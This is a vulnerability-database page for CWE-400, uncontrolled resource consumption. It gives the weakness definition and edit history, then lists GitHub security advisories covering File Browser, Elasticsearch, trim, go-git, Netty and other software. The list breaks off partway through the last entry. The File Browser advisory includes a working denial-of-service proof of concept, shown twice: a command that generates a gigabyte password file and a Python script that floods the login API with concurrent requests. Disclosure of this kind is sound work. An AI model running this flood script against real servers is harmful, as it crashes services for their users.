Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7197 vulnerabilities reference this CWE, most recent first.

GHSA-W5FM-68J4-FPC4

Vulnerability from github – Published: 2026-06-12 21:51 – Updated: 2026-07-21 14:42
VLAI
Summary
File Browser has a DoS Vulnerability via Public Login API
Details

Summary

Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.

Details

When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.

PoC

Create a file with a large password using this command:

yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt

This makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:

docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser

After running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.

import aiohttp
import asyncio
from time import perf_counter

url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
    async with semaphore:
        try:
            async with session.post(url, json=body) as response:
                print(response.status)
        except asyncio.TimeoutError:
            print('Request timed out')
        except aiohttp.ConnectionTimeoutError:
            print('Request timed out')
        except Exception as e:
            print(f"Unexpected error {e}")

async def main():
    with open("./large-password.txt", "r") as f:
        file_contents = f.read()

    body = {
        "username": "admin",
        "password": file_contents,
        "recaptcha": ""
    }

    headers = {"Content-Type": "application/json"}
    semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)

    async with aiohttp.ClientSession(headers=headers) as session:
        tasks = [
            make_request(session, body, semaphore)
            for _ in range(TOTAL_REQUESTS)  
        ]

        start = perf_counter()
        await asyncio.gather(*tasks)
        end = perf_counter()

        print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")

if __name__ == "__main__":
    asyncio.run(main())

Impact

The vulnerability impacts anyone who uses this service.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.63.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.63.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54092"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T21:51:24Z",
    "nvd_published_at": "2026-06-25T19:16:41Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nUnchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.\n\n### Details\nWhen sending JSON in the body of the request to the route `api/login`, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function `CheckPwd` in `users/password.go` is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.\n\n### PoC\nCreate a file with a large password using this command:\n```bash\nyes \"thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza\" | head -n 10000000 \u003e large-password.txt\n```\nThis makes a file that\u0027s about a gigabyte. The `n` parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:\n```bash\ndocker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser\n```\n\nAfter running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: `pip install aiohttp asyncio `). The `CONCURRENT_REQUESTS` parameter controls the number of requests to be making at one time. The `TOTAL_REQUESTS` parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it\u0027s on right now is where I\u0027ve found it can either crash the targeted container or just make it lag until it doesn\u0027t respond but is still on.\n\n```python\nimport aiohttp\nimport asyncio\nfrom time import perf_counter\n\nurl = \u0027http://localhost:8080/api/login\u0027\nCONCURRENT_REQUESTS = 30\nTOTAL_REQUESTS = 1000\nasync def make_request(session, body, semaphore):\n    async with semaphore:\n        try:\n            async with session.post(url, json=body) as response:\n                print(response.status)\n        except asyncio.TimeoutError:\n            print(\u0027Request timed out\u0027)\n        except aiohttp.ConnectionTimeoutError:\n            print(\u0027Request timed out\u0027)\n        except Exception as e:\n            print(f\"Unexpected error {e}\")\n\nasync def main():\n    with open(\"./large-password.txt\", \"r\") as f:\n        file_contents = f.read()\n\n    body = {\n        \"username\": \"admin\",\n        \"password\": file_contents,\n        \"recaptcha\": \"\"\n    }\n\n    headers = {\"Content-Type\": \"application/json\"}\n    semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)\n\n    async with aiohttp.ClientSession(headers=headers) as session:\n        tasks = [\n            make_request(session, body, semaphore)\n            for _ in range(TOTAL_REQUESTS)  \n        ]\n\n        start = perf_counter()\n        await asyncio.gather(*tasks)\n        end = perf_counter()\n\n        print(f\"Completed {len(tasks)} requests in {end - start:.2f} seconds\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nThe vulnerability impacts anyone who uses this service.",
  "id": "GHSA-w5fm-68j4-fpc4",
  "modified": "2026-07-21T14:42:49Z",
  "published": "2026-06-12T21:51:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-w5fm-68j4-fpc4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54092"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/847d08bdd135e5c3659f2e6dea2f0cd36617af9b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.6"
    },
    {
      "type": "WEB",
      "url": "https://vincent.vulcoord.net/score/?state=Not+Scored\u0026year=2026\u0026year=2025\u0026assigned_to=a165dae3-480e-4f7d-bbb8-9b1d78115b69\u0026cve=CVE-2026-54092\u0026analyze=1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "File Browser has a DoS Vulnerability via Public Login API"
}

GHSA-W5GG-2Q56-6H4F

Vulnerability from github – Published: 2024-03-27 18:32 – Updated: 2024-06-10 18:30
VLAI
Summary
Elasticsearch Uncontrolled Resource Consumption vulnerability
Details

A flaw was discovered in Elasticsearch, where processing a document in a deeply nested pipeline on an ingest node could cause the Elasticsearch node to crash.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.elasticsearch:elasticsearch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.17.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.elasticsearch:elasticsearch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0"
            },
            {
              "fixed": "8.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-23450"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-27T21:56:08Z",
    "nvd_published_at": "2024-03-27T17:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was discovered in Elasticsearch, where processing a document in a deeply nested pipeline on an ingest node could cause the Elasticsearch node to crash.",
  "id": "GHSA-w5gg-2q56-6h4f",
  "modified": "2024-06-10T18:30:53Z",
  "published": "2024-03-27T18:32:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23450"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elasticsearch-8-13-0-7-17-19-security-update-esa-2024-06/356314"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/elastic/elasticsearch"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240517-0010"
    },
    {
      "type": "WEB",
      "url": "https://www.elastic.co/community/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elasticsearch Uncontrolled Resource Consumption vulnerability"
}

GHSA-W5P7-H5W8-2HFQ

Vulnerability from github – Published: 2021-05-10 18:44 – Updated: 2022-04-27 19:19
VLAI
Summary
Regular Expression Denial of Service in trim
Details

All versions of package trim lower than 0.0.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via trim().

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "trim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-21T17:44:44Z",
    "nvd_published_at": "2020-10-27T09:15:00Z",
    "severity": "HIGH"
  },
  "details": "All versions of package trim lower than 0.0.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via trim().",
  "id": "GHSA-w5p7-h5w8-2hfq",
  "modified": "2022-04-27T19:19:28Z",
  "published": "2021-05-10T18:44:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/component/trim/pull/8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/component/trim"
    },
    {
      "type": "WEB",
      "url": "https://github.com/component/trim/blob/master/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/component/trim/blob/master/index.js%23L6"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r10faad1ef9166d37a1a5c9142b1af7099b8ecdc5ad05c51b8ea993d9@%3Ccommits.airflow.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r51ff3c2a4c7b8402f321eae7e624672cc2295c7bc8c12c8b871f6b0b@%3Ccommits.airflow.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r75b8d0b88833d7d96afcdce3ead65e212572ead4e7a9f34d21040196@%3Ccommits.airflow.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb8462df3b6484e778905c09cd49a8912e1a302659860017ebe36da03@%3Ccommits.airflow.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcc7c2865a52b544a8e49386c6880e9b9ab29bfce1052b5569d09ee4a@%3Ccommits.airflow.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1022132"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-TRIM-1017038"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular Expression Denial of Service in trim"
}

GHSA-W5PP-99CH-QJ29

Vulnerability from github – Published: 2026-05-29 19:43 – Updated: 2026-05-29 19:43
VLAI
Summary
go-git: Malformed Git object data may cause panics or resource exhaustion
Details

Impact

Several denial-of-service issues were identified in go-git when parsing maliciously crafted Git repository data.

An attacker may craft a malicious .pack, .idx or loose objects that causes an application using an affected version of go-git to panic or consume excessive resources.

This can lead to denial of service in applications that use go-git to clone, fetch, open, or otherwise process untrusted repositories or Git object data.

Exploitation requires the ability to alter read-only files such as .pack or .idx from the local repository's .git/objects/pack/ directory. Alternatively, the user would need to be interacting with a malicious remote server, which is not recommended and exposes users to a broader class of security risks beyond this issue.

Patches

Users should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to v5 are likely to be affected, users are recommended to upgrade to a supported go-git version.

Credits

go-git thanks @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this in four separate reports. 🙇

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.19.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0-alpha.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-git/go-git/v6"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.0-alpha.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T19:43:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nSeveral denial-of-service issues were identified in `go-git` when parsing maliciously crafted Git repository data.\n\nAn attacker may craft a malicious `.pack`, `.idx` or loose objects that causes an application using an affected version of `go-git` to panic or consume excessive resources.\n\nThis can lead to denial of service in applications that use `go-git` to clone, fetch, open, or otherwise process untrusted repositories or Git object data.\n\nExploitation requires the ability to alter read-only files such as `.pack` or `.idx` from the local repository\u0027s `.git/objects/pack/` directory. Alternatively, the user would need to be interacting with a malicious remote server, which is not recommended and exposes users to a broader class of security risks beyond this issue.\n\n### Patches\nUsers should upgrade to a patched version in order to mitigate this vulnerability. Versions prior to `v5` are likely to be affected, users are recommended to upgrade to a supported `go-git` version.\n\n### Credits\ngo-git thanks @kodareef5, @AyushParkara and @N0zoM1z0 for reporting this in four separate reports. \ud83d\ude47",
  "id": "GHSA-w5pp-99ch-qj29",
  "modified": "2026-05-29T19:43:27Z",
  "published": "2026-05-29T19:43:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-git/go-git/security/advisories/GHSA-w5pp-99ch-qj29"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-git/go-git"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "go-git: Malformed Git object data may cause panics or resource exhaustion"
}

GHSA-W62G-9V7Q-4MGC

Vulnerability from github – Published: 2022-05-17 01:06 – Updated: 2022-05-17 01:06
VLAI
Details

The Googlemaps plugin before 3.1 for Joomla! allows remote attackers to cause a denial of service via the url parameter to plugin_googlemap2_proxy.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-7428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-07T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "The Googlemaps plugin before 3.1 for Joomla! allows remote attackers to cause a denial of service via the url parameter to plugin_googlemap2_proxy.php.",
  "id": "GHSA-w62g-9v7q-4mgc",
  "modified": "2022-05-17T01:06:30Z",
  "published": "2022-05-17T01:06:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-7428"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2013/Jul/158"
    },
    {
      "type": "WEB",
      "url": "http://www.mapsplugin.com/Google-Maps/Documentation-of-plugin-Googlemap/security-release-3-1-of-plugin-googlemaps.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/02/26/11"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/02/27/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W648-8654-GR82

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

Netty's HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain an uncontrolled resource consumption vulnerability in the QPACK encoder-stream instruction decoder (QpackEncoderHandler, installed on the peer-initiated unidirectional QPACK encoder stream, type 0x02). The handler accepts an attacker-declared string-literal length of up to Integer.MAX_VALUE (~2 GiB) for the Name Length and Value Length fields of the "Insert With Literal Name" instruction (RFC 9204 §4.3.3), with no per-instruction or per-literal length cap and no cumulation-size limit; the existing HTTP/3 limits (maxHeaderListSize, maxUnknownFramePayloadLength, DEFAULT_MAX_FIELD_SECTION_SIZE) are not applied to this handler. A remote, unauthenticated peer with an established HTTP/3 connection to a default Netty HTTP/3 server can declare a very large literal length and then trickle fewer bytes than declared, causing the ByteToMessageDecoder MERGE cumulator to retain and grow the per-connection buffer, and ultimately triggering a large byte-array allocation. This leads to unbounded per-connection heap growth and OutOfMemoryError, resulting in denial of service. Fixed in 4.2.18.Final.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:49Z",
    "severity": "HIGH"
  },
  "details": "Netty\u0027s HTTP/3 codec (io.netty:netty-codec-http3) versions 4.2.0.Final through 4.2.17.Final contain an uncontrolled resource consumption vulnerability in the QPACK encoder-stream instruction decoder (QpackEncoderHandler, installed on the peer-initiated unidirectional QPACK encoder stream, type 0x02). The handler accepts an attacker-declared string-literal length of up to Integer.MAX_VALUE (~2 GiB) for the Name Length and Value Length fields of the \"Insert With Literal Name\" instruction (RFC 9204 \u00a74.3.3), with no per-instruction or per-literal length cap and no cumulation-size limit; the existing HTTP/3 limits (maxHeaderListSize, maxUnknownFramePayloadLength, DEFAULT_MAX_FIELD_SECTION_SIZE) are not applied to this handler. A remote, unauthenticated peer with an established HTTP/3 connection to a default Netty HTTP/3 server can declare a very large literal length and then trickle fewer bytes than declared, causing the ByteToMessageDecoder MERGE cumulator to retain and grow the per-connection buffer, and ultimately triggering a large byte-array allocation. This leads to unbounded per-connection heap growth and OutOfMemoryError, resulting in denial of service. Fixed in 4.2.18.Final.",
  "id": "GHSA-w648-8654-gr82",
  "modified": "2026-09-26T15:31:18Z",
  "published": "2026-09-26T15:31:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-f64r-x647-cg8w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100662"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/netty-http-3-qpack-encoder-stream-unbounded-memory-exhaustion-dos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W659-5WVM-43MR

Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33
VLAI
Details

Microsoft Simple Certificate Enrollment Protocol Denial of Service Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-43541"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T18:15:18Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Simple Certificate Enrollment Protocol Denial of Service Vulnerability",
  "id": "GHSA-w659-5wvm-43mr",
  "modified": "2024-10-08T18:33:16Z",
